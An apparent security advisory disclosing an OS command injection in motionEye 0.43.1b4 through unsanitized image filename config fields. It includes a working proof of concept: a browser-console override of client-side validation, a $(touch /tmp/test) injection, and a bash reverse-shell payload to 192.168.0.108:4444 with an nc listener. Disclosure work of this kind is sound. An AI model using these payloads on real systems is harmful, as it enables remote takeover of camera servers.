Description

motionEye vulnerable to RCE via unsanitized motion config parameter

Summary

A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges).

Details

Root Cause:

MotionEye accepts arbitrary strings from fields such as image_file_name and movie_filename in the Web UI. These are written directly into /etc/motioneye/camera-*.conf. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands.

Vulnerability flow:

Dashboard (Web UI) ↓ ConfigHandler.set_config() ↓ camera-*.conf written ↓ motionctl.restart() ↓ Motion parses config → executes payload

Affected code:

The issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields.

Proof of Concept (PoC)

The following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye.
Tested using the official Docker image.

Environment Setup

Start MotionEye container
Launch the vulnerable container:

docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge

Verify version
Confirm the running version inside logs:

docker logs motioneye | grep "motionEye server"

Result:

motionEye server 0.43.1b4



Container shell access (for verification later)
Keep a shell handy to verify results:

docker exec -it motioneye /bin/bash
ls -la /tmp

Exploitation Steps

Access Web Interface

Open browser at: http://127.0.0.1:9999

Login with default credentials: admin / (blank password)

Add a sample RTSP network camera (required to enable camera-specific settings).



Attempt malicious filename input

Go to: Camera Settings → Still Images

In the Image File Name field, try:

$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

Observation: This is blocked by client-side validation in the browser.



Client-Side Validation Discovery

The check is implemented in JavaScript:

/static/js/main.js?v=0.43.1b4 → references /static/js/ui.js?v=0.43.1b4

Example validation function:

function configUiValid() {
  $('div.settings').find('.validator').each(function () { this.validate(); });
  var valid = true;
  $('div.settings input, select').each(function () {
    if (this.invalid) { valid = false; return false; }
  });
  return valid;
}...
Show more

Bypass Validation

Open browser console (F12 → Console tab)

Override the function to always return true:

configUiValid = function() { return true; };

This bypasses client-side validation and allows arbitrary values.

Inject Payload

Set Capture Mode: Interval Snapshots

Set Interval: 10

Set Image File Name to the payload:

$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

Click Apply to save settings.

Verify Execution

Inside the container shell:

ls -la /tmp

Result: File /tmp/test is created with root permissions, confirming code execution.

Weaponizing RCE (Reverse Shell Example)

Start attacker listener

nc -lvnp 4444

Inject reverse shell payload
Enter the following into the Image File Name field:

$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S

Result

A reverse shell connects back to the attacker’s machine.

Attacker gains full control of the MotionEye container environment.

Root Cause

MotionEye writes unsanitized values (e.g., image_file_name) from the Web UI directly into camera-<id>.conf.

On restart, the motion binary parses these fields as shell-expandable strings, leading to arbitrary command execution.

Impact

Type: OS Command Injection → Remote Code Execution

Who is impacted:

Any MotionEye deployment where attackers can authenticate as admin (or where the UI is left exposed with default/no password).

Containerized and bare-metal installs alike.

Potential consequences:

Full compromise of MotionEye container.

Lateral movement or host compromise if the container runs with privileged permissions or mounts sensitive host volumes.

Mitigation

Aliases

References